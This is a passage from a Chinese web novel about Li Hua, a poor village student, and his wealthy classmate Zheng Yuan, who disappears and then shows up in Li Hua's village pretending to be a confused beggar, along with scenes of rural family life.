他说：“虽然我不信这些神鬼论，我只信我自己，但是因为我要敛财，所以我也潜心的修行了一下，不然那个该死的主持认为我心不诚，不愿意来给我作法，他跟我说人有贪嗔痴念恨，还有六畜轮回道，每个人的前世今生……你去哪儿，诶？！”
郑源捂住耳朵，离的远远的，说：“去你妈。”
60.第 62 章
傅一青主动找了郑源，是樊瑞没话找话想跟他聊天时提起了李华，说了一下他。傅一青听着，面上不显，心里却有些愉悦。他正愁没地方弄点钱。小喻的妈妈和爸爸都不怎么喜欢他，或许是因为他心思多，又笑面虎，让他们感到不舒服。但寄人篱下的滋味他们又怎么会知道呢？他们不过是一群自以为是的人罢了。他比任何人都清楚，想要彻底拥有段喻，像拥有一个完全属于自己的玩具，他要切断他和这个世界上所有人的联系，其中最要紧的，就是他的父母。
但是父母，段喻生活家庭幸福、美满，他很难会因为爱情又或者一个半路杀出的哥哥去脱离、反抗什么。他是一个受宠爱长大的小孩儿，单纯善良又纯粹，是傅一青的向往和憧憬。但天无绝人之路，他敏锐地发现所谓幸福泡沫的背后是不堪一击的家庭教育，是过渡的溺爱与严厉的打击。由此，他有了万无一失的理由趁虚而入。这不能怪他，这能怪他吗？这要怪，就只能怪他不懂见好就收的父母。
他勾起眼睛，像个刚刚吞噬人心的狐狸。
郑源和他见面时，他就是这个样子。
“找我干什么。”郑源烦躁地说。
他已经两天没回家了。除去白天上课，躲瘟疫似的躲在樊瑞的山庄。樊瑞试图开导他一直躲也不是个办法，郑源说不躲着还能怎么办，看着李华了无生机的脸就生气，又生气，又害怕，干脆视而不见，还好受点。
“他那么弱，又不能欺负他，还不能让他难过、不开心、生气，真跟供祖宗似的，错了，比祖宗还祖宗。”就算是路过他们老郑家的祖坟，他不开心了也敢踹两脚，这李华，他敢吗？踹他两脚，他也不用活了。
“诶，你知道那个，四大名著里那个，什么林。”他嘲讽地说：“林黛玉，林妹妹，知道吗？他就跟她差不多。”
傅一青来山庄找郑源，樊瑞自然不会错过这个好机会。他备了可口的晚餐，名烟、好酒、就企图能多留傅一青一会儿。郑源知道樊瑞把自己的事儿跟傅一青说了没太大的反应，反正不是他说，可能过段时间自己也会找他，毕竟还给了他六万块钱呢，不能真白花啊。
“你接下来想怎么办。”傅一青问他，接过樊瑞的烟，顺着他的手点了，跟他保持了一定的距离。
樊瑞身上喷了爱马仕的香水，他不想沾染上，省得回家添麻烦。按照段喻的理解，他现在应该在学校奋笔疾书，埋头苦学。
郑源在这个时候对傅一青有了改观，像傅一青这么爱钱的人，他最应该撒手不管。他语气缓和了点，说：“就是樊瑞说的那样。”
“你们是不是快期末了？”傅一青问。
“对。再有两周就期末考了。”郑源说，“为什么问这个？”
“你信我吗。”傅一青看着他说。
这是一个很狡猾的问句，看似是疑问，语气却是肯定，也丝毫不给人选择的余地和机会。郑源笑了，他能说什么？说不信吗？那话题就没法继续下去了，无论他是真信还是假信，都只能说信，让傅一青听到他想听的态度和回答，这种道德绑架似的陷阱让郑源感到不爽，特别是对上他那双眼，几乎是暗示性的警告他：你不能不信，不得不信。
郑源说：“你想说什么。”他没有按照傅一青的思路走，提前打了预防针：“这跟我信不信你没有关系，跟我做到做不到有关系，你说的再好，我做不到，还是没用。”
所以跟郑源这样的人接触让傅一青动脑子，他并不会按照他的思路走，思维活动的很快。他在此时无比想念段喻，小喻会瞬间点头答应，无论他说什么，他都能第一时间给自己想要的回答。他又开始流露出轻蔑厌恶的神情，他并不想这样，但他控制不住地向周边任何人散发出对方是垃圾的恶意。他垂了垂眸，俨然换了副面孔，变的干净而纯粹，道：“我有一个主意。”
期末的来临让李华感到紧张。他拼命学习的时候还会抽空去医院。哪怕每次待的时间都不长。有次他又从医院出来，看到路过的一家三口，突然站在原地癔症很久，他再没有那么急切地想和父母通电话。他们都知道对方的想念，却都内敛沉默的收起关于亲情的思念。
“爸，妈。”李华走到角落里，在电话接通的瞬间念了出来，他以为自己会哭，却只有尾音的哽咽，太久了，或许没那么久，但对他而言太久了。
“诶诶诶。”电话那头传来杂音，又很快清静，父母都挤在电话前乐呵地跟他说话，问他学习怎么样啊，怎么这个时候打来啦？有没有好好吃饭呀？李华坐在长廊里低着头，看到脚尖有一只小虫，在缓慢地移动，他少有的抱怨，露出更加孩子气的一面说：“你们都不跟我打电话。”
眼泪毫无征兆地掉在地上，晕出比大地还深的痕迹，他才意识到自己哭了，那里面实在是包含了太多的委屈。父母静默了一瞬，也有些愧疚起来，“唉，怕你……太想家。”
从开始上幼儿园那一刻，人就要承受别离。甚至是在还没有培养出自我意识的时候，就已经品尝到了离别的痛苦。第一天上幼儿园的孩子都会痛哭，紧拽着父母的手不愿他们走，有的父母看孩子撕心裂肺的模样也会哭，但最刻骨铭心的教育却是松手，他们不能回头，要走的很快，只留下模糊的背影，更不能让孩子们发现他们躲在角落里的不安与担心。
人生的第一堂课起始于分离，并不是教室里黑板上的ABC。
李华只是在反复上这一堂课，被迫成为这门课程里的优等生。
“我知道。”他说，用手背擦掉眼泪，“你们怎么样啊。”
他不再看移动缓慢的小虫。笨拙的父母察觉到他情绪低落，努力带动氛围道：“我们很好，现在的国家政策是真的好，村子里有厂子招工，你妈已经去了，还有大户租赁咱家的土地，可比种地给的多的多了。马上你回来啊，天天让你吃肉呢！你呢？没有受欺负吧？”
李华摇头，说：“没有，我很好。”
他和舅舅默契的不向家里人说这里发生的事，这成为了他们共同的秘密。
又聊了会儿，电话便挂了。李华转身，看到墙角里烟雾缭绕的胡建国。他愣了一下，随即反应过来，应该是自己待的时间太长了。
他收起手机朝他走去，胡建国贴心的给了他纸巾，让李华擦掉眼角未干的眼泪。
一老一少沉默地向车走去，胡建国突然说：“少爷回本家了。”
李华听不明白，轻声问道：“啊？”
胡建国说：“这对你应该是个好消息，你听了应该会开心。”他朝他笑起来，说：“郑少爷应该有一个星期都不会再过来。”
李华点点头，勉为其难地笑笑，这已经打动不了他，无论郑源多久不过来，他总归会回来，时间早晚的问题而已。胡建国叹气，伸手揉了把他的头。
没有郑源的时间过的很快，李华每天早出晚归，作息、饮食都非常规律，回家也是直
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接进卧室学习，学完就洗漱上床，睡觉，一个星期很快过去，他心里再沉甸甸的，也架不住一段时间的空窗期，心情稍微回旋了点，脸色也好很多。
可一个星期过去，郑源并没有回来。
他也没来上课。
班里的同学对他都只字不提，仿佛有他没他都一样。
李华看着空荡荡的同桌会莫名发呆和沉默，等他反应过来，完全不知道自己在看什么。
又一个星期过去，很快来到了期末。李华紧张地考完试，放下笔长出一口气，猛然警醒了一下，回头看，最角落的桌子还是空落落。
他也没来考试。
他好像死了。
这个比喻很不准确，甚至很丧气。但是给李华的感觉简直如出一辙，他突然人间蒸发了，没有任何人在任何地方以及任何地点提起他，好像一切都只是他自己不切合实际的梦一样，如果不是每天回的不是寝室，而是实打实的别墅，他真感觉世界上就没有郑源这个人似的，包括王信。
那个叫媛媛的还是勤勤恳恳的伺候他，脸上的笑和行为都像复刻出来的公式化，仿佛无论做什么都不会有多余的情感表达。王信出院那天李华回头看她，她站在那儿，笑的很温柔的盯着他们，突然让李华感到一阵没来由的恐怖和后怕。他扶着王信回了家，看他基本可以缓慢地照顾自己，说：“舅舅，你有再见过郑源吗？”
王信摇摇头，说：“没有。”
李华问了胡建国。
胡建国说：“没有。”
李华说：“他去哪儿了？”
胡建国说：“我不知道。”
胡建国是不会骗他的，他无奈又一筹莫展的神情不是假的。
领成绩单那天也是李华离开这里的那天，他走出教师办公室时没忍住回头看班主任。
班主任亲切和蔼地看着他，“李华，怎么了？”
那种不真实感更强烈了，李华说：“老师，郑源呢？”
老师一动不动地说：“不知道呀。”
李华激动地说：“怎么可能呢？他那么长时间没来上课，学校不管吗？”
老师也很无奈地说：“抱歉李华，老师真不知道。”
李华看着他，忽然感到没来由的愤怒，但是他又不知道为什么。他感到自己被骗了，有种无处宣泄的抑郁，让他的心快速地跳了两下。但他又告诉自己说，这不是正好吗？
他离开了。
回去的路上，他握着手机，出神地盯着郑源的电话号码，过了片刻，摁了拨打。
“您好！您所拨打的号码是空号，请核对后再拨。Sorry! The number you dialed does not exist, please check it and dial later。”
“您好！您所拨打的号码是空号，请核对后再拨。Sorry! The number you dialed does not exist, please check it and dial later。”
“您好！您所拨打的号码是空号，请核对后再拨。Sorry! The number you dialed does not exist, please check it and dial later。”
郑源消失了，彻底的，从他的世界，不见了。
61.第 63 章
李华猛然惊醒。
他从床上坐起来茫然地看着四周，熟悉又陌生，才恍惚想起自己回家了。这陈旧的木桌和落灰的台灯，走时什么样回来还是什么样姿势的椅子。他怔怔地坐在床上发呆，眯着眼摁亮手机，凌晨三点。
他把智能机带了回来，因为真的很方便。
可以提前预习、复习，有不会的难题还可以搜到讲解思路，这是爸妈没法给的经济实力和帮助。他只犹豫不到三秒，就将它塞进书包。
重新躺回床上，却毫无睡意。
这不是他第一天回来，严格意义上这是他回来的第三天。
头天晚上没忍住跟爸妈红了眼眶，一家三口都是眼里含着泪，又强笑着聊天。回到卧室也感慨万千，他写了作业，看了会儿课外书，躺在床上很快睡去。第一天第二天都没任何问题，却在第三天不安。这种不安伴随着困惑，让他心里有事，百思不得其解，就赶走了困意。
郑源到底去哪儿了？
他死了吗？
他为什么总会想到死这个含义。因为他清楚地记得，村里有个快考大学的男孩儿，母亲重病在医院，所有人都满着孩子，怕影响他的学习，以至于让孩子连母亲的最后一面都没见到，在村里奔丧的时候，他也是哭着跪在地上说怎么突然就这样了。
突然，这真的是一个很不好的词。让李华很不喜欢。他不喜欢突然的惊喜，和惊吓。
他没理由这么失踪。他想，除非他真的出了事或者真有什么逼不得已的理由。按照他对自己的控制强度，他不可能放任自己这么长时间。
这是个好事。李华再次告诉自己，像提醒又像安慰，但他的心又提起来，有种不知道结局就永远不能彻底放心的忐忑。
他瞪眼到天亮。
早晨吃饭的时候，母亲说大冯村有戏，想晚上去看戏。李建民和李华自然没意见。李华的母亲还拉着李华的手让他看他抽奖送回来的水箱，用着实在是太方便了，还能做饭，还恒温保暖。让二老向村里的人炫耀好长时间，直夸李华的手有好运气。李华看着这水壶就想起郑源。他笑了一下，没说什么。
他回家的日常也只是吃饭，学习，吃饭，学习，吃饭，然后睡觉。过的单调且无聊。父母也怕他学傻，让他找以前的同学玩。李华却一直没动。他本身就是内敛的人，不会主动和人交往，又出去这么长时间，更不知道怎么和老家的小孩儿接触了。还不如在家。
但总这么下去也不是个事儿。父亲要下地，下地前将他拉出来，锁上门，说就去村里的操场练练健身器材也好。李华没办法，只能慢吞吞地跟去。在路上遇到几个村民，他们亲切地喊他小华，便去探讨其他的，李华出了口气，抬眼看到健身器材那里已经有了几个男孩儿，跟他年龄差不多大，也有两个比他年龄大，还有几个拄拐的老人在旁边聊天。
李华不知道怎么过去，也不想过去，下意识后退一步，却被人眼见的喊住：“李华！”
李华停住，喊他的人快速朝他跑过来，已经比他高了半个头了，是他小学时避之不及的小孩儿李状元。李华在的村叫李庄，除了几个外来户基本都姓李。李状元单看这名字就知道家里人给他报多大的希望，但他父母离异，奶奶又因病去世，就只有一个留守的爷爷照顾，家里吃着低保，学习也零蛋垫底，坏习惯倒是不少。比如赶到李华面前，朝他做鬼脸，又快速跑开。
李华只感觉幼稚。他看现在曾经的同学，有种不在一个维度的无言。
他转身要走，却被小男孩儿们抓住，他们绕着他说些叽里呱啦的，还有几个男孩儿拽着他，非要抬着他，李华挣脱不过，又没人帮，面露惊恐地被他们□□，往柱子上撞去。李华的脸惨白惨白的。
“不要……不要！”他的反应很剧烈，却让男孩儿们更兴奋，仿佛眼泪与痛苦是刺激大脑的兴奋剂。他们冷酷、残忍，处于没有更开明，更深意识的混沌邪恶时代，他们不是针对李华，他们对谁都这样。
眼见离柱子越来越近，李华懦弱地抖着手后突然目露凶光，他偏头，一口咬上一个男孩儿的手，疼的对方松了手，猛然的失重让其他人无防备，手一滑，李华摔在地上，连滚带爬地逃走。
“他咬我！”被咬手的男孩儿抱怨。
“我们去追他！”带头小孩儿说。
于是一帮男孩儿浩浩荡荡地去追李华。你跑我追、你逃我抓的躲猫猫是人类自孩童起玩的第一个游戏，娱乐快乐的源泉。李华跑不快，家里又锁着门，他回头看到了他们，更觉得崩溃，崩溃于他不喜欢跟他们玩，他们却以为这就是玩的游戏。他气喘吁吁地朝田里跑去，路过一个拐角都跑出去几步了，又猛然停住，怔了下后迅速回头朝拐角冲去。
他好像看到了郑源。
他跑进死胡同，看到角落里蹲着一个人，脸上很脏，身上也很脏，甚至被划的破破烂烂，头上还有菜叶，蹲在那里用树枝在地上无规则地乱画，只留一个侧脸给他。
李华目瞪口呆。
他傻了很久，久到听到身后的脚步声才回过神，那群男孩儿还在他身后乱哄哄。李华眼里却只有对方的侧脸，像，太像，但是不可能，怎么可能？李华缓慢地朝他走去，蹲下来，歪着头，看他的正脸，两个人离的有点近，李华愣愣地，下意识伸手摸他脸上的泥土，掉了一个泥疙瘩，他说：“……郑源？”
声音轻的快剩气音。
对方抬头看他，眼神迷茫无措，害怕地、胆小地、弱弱地往后缩了一下。
身后的男孩儿们不知道他在干嘛，看到这儿竟然还有个乞丐，傻子，拿旁边的小碎石子砸他：“傻逼，傻逼，哈哈哈。”
被打的人抱着脑袋，紧紧缩成一团。
李华的牙齿无意识研磨了一下，说：“滚。””
男孩儿们一顿，有欺上来的趋势。李华看到手边放的红砖，拿起来面朝他们，“我说滚。”
他没什么表情，或者说面无表情。
几个男孩儿面面
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相觑，看着小巷里单薄身影的男生后退。
他们又很快跑到其他地方玩。李华再次蹲下来，从兜里掏出卫生纸，拽拽对方的袖子，湿湿的，还有点臭，不知道是在哪里弄上的，他说：“你是郑源吗？你抬起脸让我看看你。”
他怎么能跟郑源长得一模一样？
但是他？啊？
对方缓慢地看向他，李华慢慢擦干净他脸上的泥土，眼眸瞪大，郑源的脸完整的出现在他的瞳孔里，他真的是郑源，可是，他慌张地瞬间站起身后退好几步靠着墙，连手里的卫生纸都掉在地上，可是——李华想不明白，郑源怎么出现在这里，而且这样。这是那个，干净又总穿白衣服的郑源吗？是那个身上总会有莫名其妙香味的郑源吗？这差距也太大了。
他说：“你家里人呢？你怎么在这里啊？你怎么了？他们知道吗？”
他一口气问了很多，但对方一个都不答，而且李华发现他，好像，有点笨笨的。不是有点，而是就，他没有认出自己，他竟然没有认出自己？！这是为什么？李华发现了最关键的地方，他使劲把人拽起来晃：“郑源？郑源？”
这就是郑源，连身高都跟他一模一样，李华又迫不及待地撩开他破烂不堪的上衣，发现一模一样的硬和腹肌，这就是郑源，无论是从哪个方面印证，是他不会错。李华不可置信地慢慢放下他的衣服，说：“你不……你是谁？你不知道自己是谁了吗？你不记得自己了吗？你记得我吗？我是李华，你知道我是谁吗？你……郑源？”
他发现无论他说什么，对方都只是看着他，没有任何反应。
李华太吃惊了。他吃惊地站在原地想了很长时间，说：“你的手机呢？”
他摸他的裤兜，一无所有。
怎么办，把他扔在这儿？报警？找他的家人？
李华现在没拿手机，他想要不把他领到村室，告诉村长？他一筹莫展，唉声叹气，谁会想到这么意外，这么戏剧。他说：“得告诉你家里人。”
怪不得大家都说不知道他去哪儿了，就看他自己住，估计连他丢了都不知道。
他决定把他带到村室，让村长报警。
郑源却拉住了他。
拽住了他的衣角，李华回头看他，听到他说：“害怕。”
李华缓慢地眨了下眼，“什么？”
“家，挨打。”郑源一个词一个词的蹦：“想跟你，回家，我，找，李华。”
李华静静地看着他。
郑源松开他的衣角，慢慢退回去蹲在角落。
李华转身走了。
李建民听到村民们喊他说你儿子在找你的时候回了下头，下午三四点，天还亮，显得哪里都明晃晃。他看到李华，朝他笑了一下，李华说：“爸，给我钥匙，我要回家。”
李建民抛给他钥匙，李华接住。回头说了什么。
李建民顺着他的视线看去，才看到李华身后还跟个破衣烂衫的乞丐。
身板儿倒挺拔。
62.第 64 章
“晚上烧个稀汤，有昨天买的火烧，我又去超市买了猪头肉，再调个洋葱，炒个白菜豆腐，怎么样啊儿……”李建民的手放在推开的门上，缓慢地眨了眨眼，和正在大口吃火烧的乞丐撞了个正着。
“你。”李建民气不打一处来：“我的火烧！”
他左右看看抄起笤帚，一边追逐一边骂骂咧咧：“妈了个逼的这畜牲怎么进来的，小华？儿子？！”
嘴里叼着火烧的乞丐绕着低矮的茶几跑，李华听到动静连忙从外头的厨房探个头，他正在烧水呢，透过窗户看到里面的情景，大声喊道：“爸！”
李建民一顿，指了指乞丐，眼里的威胁意味明显，他后退几步探个头，看到李华把刚烧开的热水浇进红白花的铁盆里，又蹲下用手探了探，端出来放在靠墙的铁架子上，说：“爸，让他出来洗洗，那是我同学。”
李建民扭头看看，对方手里还抓着火烧，朝他笑了下，露着大白牙，李建民又回头看着李华，表情难解：“这是你同学？”
“对。叫郑源。”李华说：“你让他出来吧，等会儿水凉了。”
“噢，那行，那你快出去吧。”李建民说，嘟嘟囔囔地打量着乞丐，看他和自己擦肩而过，“小华还有这样的同学。”
看这也不像外村的，他怎么没印象。
“在咱家吃饭不？”他又问。
“在。”李华说。
他把毛巾递给郑源，“洗干净擦一擦。”
郑源结结实实地洗了五六次，像是自己也嫌脏，对着有些斑驳的镜子仔细擦了个干净。李华好笑地看着他，人傻了，这爱好的生活习惯还记着。
犹记之前住一起时两个人的步调就不能一致，李华总是换了睡衣刷了牙，洗把脸洗个脚就上床了。郑源是得用什么东西抹在脸上揉揉搓搓二三分钟，再站在镜子前用电子牙刷等个三分钟，最后舒舒服服地将脚泡个十分钟，才换衣服上床睡觉。往往他做完所有工序，李华已经睡着了。
郑源一张白里透亮又透红的小脸蛋看着他，李华微微眯眼，视线定格在他的衣服上，“你还得洗个澡。你怎么把自己弄的这么脏？”
郑源低头看看自己，他主要是看了看自己的脚，那脚上还是一双限量版球鞋，现在已经乌漆麻黑了，往日都踩的地毯，现在不知道都踩到了什么东西，他移回视线，说：“不知道。”
李华掐着腰，说：“家里有木桶，我给你烧水洗吧。虽然一般都去镇上，但是现在晚了，五六点天都黑了。”而且去镇上的澡堂要澡票，澡票得花钱，五块钱一个人，两块钱十个人，这还是小孩儿价，大人得十块钱一个人。他是不可能给郑源花那么多钱的，就只能给他烧水洗了。只是现在的天洗着可能有点冷。他寻思着应该也不会太冷，不生病就行，郑源的身体应该没那么弱。只是他比他低了太多，瘦了太多，没他穿的衣裳，显然他身上这身是不能再穿了，但是给他买，那肯定更不可能，只能，“爸——”
李华拖长了声音，小跑回屋里找李建民，“你之前的衣服呢？”
“干嘛？”李建民说，他正在屋里头挑白菜。
家里没冰箱，蔬菜都放到了家里最阴暗潮湿的角落，试图起到保鲜的作用。
“让我同学穿穿你的衣服。”李华说，从地上捡起一片白菜叶，“这个还没烂那么多。”
李建民说：“他不回家？”
他看眼李华手里的白菜叶，“那都快烂完了。”
李华噢了一声，扔掉了，“他家不是这儿的。”
“那是哪儿的？那得把人送回家啊。”李建民往外瞅了一眼，“那么大个。”
“他说他家里人打他。”李华说。
“为啥打他？”李建民问。
“不知道。”李华说。
“噢。”李建民挑好白菜朝外走，“那你去屋里扒拉扒拉吧，别整乱了，不然你妈回来找事儿。”
李华又去卧室，挑出来一身儿现在穿的放到自己屋，刚出来就看到李建民在用他烧的热水烧稀饭，还没来得及阻止，又看到郑源蹲在地上看鸡，踩了一脚的鸡屎。
李华家是个小院儿，大铁门框着一个院子，两三间平头瓦房，左边是厨房，中间是堂屋，右边是厕所，院子里种了一棵还没长成的柿树，柿树旁边停着一辆能拉货的电三轮，厕所那儿围了个鸡圈。郑源就蹲在鸡圈那儿炯炯有神地看着伸长脖子的鸡。
“这些鸡会下蛋。”李华走过去说，“都是些母鸡。”
他看着郑源的侧脸，说不清是什么滋味，就是莫名觉得新奇，且有意思，他说：“你没见过鸡吗？”
“没有。”郑源摇头，“课本上见到过，商场也见到过，活的，没见过。”
“那你没见过的太多了。”李华说：“村里还有人养羊和牛呢。”
“我见过斗鸡。”郑源又说，是一项较为传统的赌博。
“我没见过。”李华说，他的视线向下，看着郑源的脚，“你踩到鸡屎了你知道吗？”
郑源惊恐，连忙站起来后退好几步，抬脚要看，“这些绿的白的是鸡屎吗？”
“对。不然呢？”李华说，“花吗？”
他看着郑源崩溃的模样笑出声，听到父亲喊他，“给你妈打个电话。”
李建民从厨房露个头，还拿着锅铲，“让她买三块钱的火烧回来。”
李华说：“家里不是还有吗？”
李建民看了眼他身后的郑源，表情一言难尽。
李华回头看他。郑源说：“我太饿了。”
“所以你就把火烧给偷吃了？”李华开口，郑源无辜，“我好几天没吃饭了。”
李华：“……”
他无奈道：“我进屋打电话，你要跟我一起吗？”
郑源跟着他。
两个人进了卧室，李华坐在床上翻着智能机的通讯录，突然说：“郑源，你是装的吧。”
郑源正瞪着大眼观察四周，闻言顿了一下，张嘴没说出话，过了片刻才睁着茫然的双眼看着他，“你说什么啊。”
语气里有浓浓的困惑和不解。
李华站起来看着他，明明比他高，却在审视他，仿佛连一根发丝都要经过重重关卡，他将郑源看的仔仔细细。不是不怀疑，不是不疑问，但他想不明白，如果是装的，为什么要装？又因为什么装？还装成这样。这可是郑源诶，谁都不能惹，不敢给气受的郑源诶。就是因为李华太了解他，才太肯
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定他，肯定他绝对不会让自己沦落到这幅模样。
应该是真的没错了。
李华长出一口气，说：“没什么，你身上太脏了，哪儿都别坐。”
他拨打母亲的电话，交代了父亲的嘱咐，妈妈又交代着说：“晚上去看戏啊，别忘了，吃完饭咱们就去，不然没好位置坐。”
“好。”李华说，挂了电话才意识到得让郑源赶快洗澡。他一溜烟的跑到厕所，掀开塑料布，从里面拖出来个半人高的木桶，李建民听到动静说：“你现在要洗澡？去镇上洗啊。”
“不是我。”李华说，“爸，热水用完了吗？”
“那肯定啊，那点儿还不够烧汤的，谁洗啊？该不会是你同学吧？”李建民说，“这，这塞不下他啊。”
“努努力能塞下吧。”李华沉思，看眼跟着他出来的郑源，“澡票要五块钱呢。”
“哎呀，又不是掏不起这钱。”李建民从裤兜里摸钱，摸出两张一块的，对上李华的视线，又塞进兜里，“我下午买化肥了，你等你妈回来吧，让她给你。”
李华不死心地看看木桶，又看看郑源，只能喃喃地妥协，说：“好吧。”
郑源的眼神略微幽怨。
李华说：“你看我干嘛。”
郑源说：“五块钱。”
你连五块钱都不愿意为我花。
李华说：“啊。”
他虽然没说完话，李华却能感受到他的心声，淡定坦然地错开他的目光。
“过来端菜。”李建民嚷嚷着，“你妈什么时候回来？”
“下班就回来。”李华小跑着过去，“她说快了。”
王淑芬回来的第一眼也看到了郑源，她先是感慨：“哎呀，这孩子长的，人模人样的。”又看眼他难以直视的衣裳，“怎么搞成这个样子啊？”最后才想起关键，看向李华和李建民，“这是谁呀？”
李华抿了抿唇才向她伸手，“妈，这是我同学，郑源。你有五块钱吗？我想带他去镇上洗澡。”
“有啊。”王淑芬从小背包里的小钱包里掏出五块给他，“什么时候去？这天都快黑了，吃完饭让你爸带着你们去吧。”
“不用。”李华说，“你们先吃吧，镇上也没多远，我骑三轮带他。”
“该吃饭了，哪有那么急。”王建民说，“大不了看戏晚一会儿。”
李华摇头，“不行，得提早去找个好位置，哎呀，你们别管了，没事。我们洗完回来再吃。”
郑源舔了舔唇，望了一眼堂屋茶几上放的几盆菜，猪头肉的香味散发着，他说：“要不然我们……”
“火烧还不够你吃？”李华瞪了他一眼，从李建民手里抓过钥匙，转身向电三轮走去。
郑源看着他瘦弱的身板，突然一个警醒。
不是，什么啊，李华带他吗？用这电三轮？他能行吗？
李华插进钥匙拧开把，看到还站在原地错愕的郑源，潇洒地撇了下头，说：“上车啊，等啥呢？”
郑源咽口唾沫，缓慢地凑过去，坐在他旁边，心有余悸，“你……你行吗……”
“我八岁就骑三轮车了。”李华好笑地看他一眼，潇洒地说，“不过你还是坐稳了。”
63.第 66 章
天大亮，李华翻了个身，身边空空如也，他睁开眼。窄小的卧室，没有另一个人的身影。他凝滞了一会儿，从床上坐起来，穿上拖鞋，他的拖鞋还是夏天的凉鞋，不是没有棉拖，是不舍得，等到了天最冷的时候，要冻掉人脚趾头的时候，再拿出来穿几天，就又开春了，开春就继续收起来。
他走出卧室，看到茶几上放着馍和菜，对门是父母的卧室，开着门，没见人。他向右扭头，看到郑源背对他，弯腰挥着几片烂白菜叶，引诱几只鸡。他身上的衣服还是不太合身，上衣有些大的盖着一半屁股，倒让他多了几分孩子气。眉眼弯着，袖子也有点长，露出几根修长的手指。
“咕咕咕。”他模仿着鸡的叫声，很专注。
李华坐在沙发上，看着面前的饭菜，应该去洗漱，洗完再吃饭，可是他沉默地将手伸向白面馒头，拿起筷子，夹着菜开始吃，眼的余光还能看到郑源累的直起腰，抹了把头上的汗，有些暴躁：“吃啊，怎么不吃啊，操。”
他转身，看到李华，吓了一跳，迅速走过去站在他身边，很惊喜：“你醒了。”
“嗯。”李华放下手里的食物，站起身错开他，走到院子里打水洗脸，郑源跟在他身后打下手，给他递上毛巾。擦脸的瞬间进入鼻尖的是股有些陌生又熟悉的味道，明明不在他家，还是似有似无地缠绕着他。他看了郑源一眼，说：“我爸妈呢？”
“都去忙了。”郑源又屁颠屁颠地跟在他身后进屋，小狗似的守在他身边。李华动了动舌根，看了他一眼，有烦躁和讨厌的意思，看的郑源莫名心虚。
李华说：“你不要守着我吃饭，你去喂鸡。”
“我得等你吃完。”郑源从兜里掏出钥匙，在指尖晃晃，颇为得意，“你爸让我带你去玩。”
李华眉头皱起：“我爸？”
郑源大言不惭：“啊。”
半个小时前，李建民出门的时候，把钥匙放在客厅的桌子上，恰好碰到郑源出来上厕所，他交代着：“小朋友，等小华醒了，你把这串钥匙交给他。”
郑源说：“好的叔叔。”
等李建民走后，郑源瞬间占为己有，他先看到的，不就是他的。而且以他的判断，这肯定是李华家门的钥匙。
李华将信将疑，干净利索地吃了饭，还洗了碗。
出来的时候正好看到郑源把一片烂白菜叶扇在鸡的头上，李华啧了一声，很不满：“不要虐待我们家的鸡。”
郑源瞬间站直，双手背在身后，笑的很坏：“好的。”
李华说：“你想去哪儿玩？”
“哪儿都行。”郑源坐在三轮车上，看到车上插着钥匙，灵关一闪：“你教我骑这个吧。”
李华说：“不行。”
那是他家的交通工具，怎么可能随便使用。
乡间较为宽敞的路上，李华教郑源握把：“慢一点，不要紧张，别猛然加速。”
郑源跟他靠的很近，心思完全不在学车上，他看着李华的侧脸，忍不住岔开话题，想了解他更多：“你什么时候学会的这个？”
“八岁。”李华说：“别看我，看路，走直线，你偏了。”
郑源装模作样的认真，又忍不住看他：“那么小就骑这么大的车了？”
李华说：“当时不是这辆，是辆红的，比这个小很多，这是后来买的，因为那辆丢了……我说看路，你快栽沟里了，你到底在看什么？！”
郑源刹那儿撒泼：“哎呀我学不会，我们聊天吧。”
李华无奈又无语，要不是心疼他爸的衣服，真应该在郑源威胁他不带他出来骑这个就跳进鸡圈里的时候一脚把他踹进去。
“起来，我开。”李华说。
郑源怕他真的生气了，连忙嘟囔：“我会了会了，这有什么难的，我开给你看。”
他给李华演示了一遍，开的还真挺稳当。两个人漫无目的的闲逛，郑源看到大片的农田里有很多正在劳作的人，他好奇地问他们在干什么，有人背着很大的包，手里握着水龙头，有的人则在接管子，还有的人在似乎在井边捣鼓。
“在浇地。”李华说：“种子种下了，该浇水了。”
“前两天不是下过雨了？”郑源好奇。
“那点儿不够。”李华说，“得浇好几天。”
郑源好奇地看着他们，不由自主地惊叹：“原来粮食是这么种出来的。”
李华匪夷所思地看他一眼。
郑源说：“这么多地就这么浇吗？看起来好傻啊，没有其他的浇地方式了吗？改良啊，改进啊。”
李华没说话。这种话从郑源嘴里说出来太正常了。一个自小养尊处优，连活鸡都没见过的少爷，自有何不食肉糜的天真。
郑源见他没什么反应，也不觉得自己说错话，想到什么似的：“你爸妈呢？该不会也是这种浇法吧？要不要帮忙啊？我力气很大。”
李华一顿，看向他，他神情认真，不像说假。李华看着他说：“是这么浇的，你不是觉得傻吗。”
嗐，郑源摆手。傻，他更傻的事儿，装成一个傻子来靠近李华，这种事儿都做过了，还有什么傻的。
他一副唉声叹气的释然模样，让李华以为他是逞强：“不用。”
但他语气略沉，明显没了刚才的开心。
郑源不知道怎么了，以为是他不信，连忙解释：“真的啊，我真的能帮忙。”
“我知道。”李华说：“我说了，不用。”
郑源挠挠头。
两个人之间的气氛有些闷，后面郑源再怎么耍滑逗乐李华都是一副闷闷不乐的模样。
李华倒也不是生他的气，只是一提到原生家庭的艰难，就让他有些喘不过气。所以他没再陪郑源闲逛，而是早早地催着回去，他要回去写作业，学习。他本就是有些一根筋的轴人，不太懂得变通，喜怒哀乐也都表现在脸上。让郑源莫名其妙的同时也忍不住有些烦。
他总是不知道李华怎么了。
或许知道他为什么开心，却总是不知道他为什么不开心。
两个人回了家，李华一句话都没说，急匆匆地进了屋，坐在椅子上，就开始了一副两耳不闻窗外事一心只读圣贤书的屏蔽模式。
郑源烦躁地在院子里踢石子，勾着头，啧了两声。
他不能去打扰李华，又不能坐在旁边看着他，干脆自己出去闲逛。想了想，还是没开那辆三轮。
他双手插兜，漫无目的，没多久，就走到了厂房。
他只站在那儿看了一眼，就走过了。
晚上吃饭的时候，一家人坐在餐桌边，李建民和王淑梅对这个突然出现的同学表示友好的同时，也表现出费解，原因是他实在是不客气，不把自己当外人，饭量大的出奇。李华也发现了，以前在他家的时候，郑源还没吃那么多呢。
他用筷子打郑源再次伸向馒头的手：“还吃。”
不是他抠搜，好吧，就算是他抠搜，总归三块钱的馒头，六个，他自己吃了三个，这什么饭量。要知道就算是他爸，也只能吃两个。这还剩下一个，就得李华和王淑梅掰着吃了，更关键的是，他还没吃够。
郑源尴尬地笑了一下，他摸摸平坦的肚子，也感到好奇，怎么饭量突然变的这么大了。
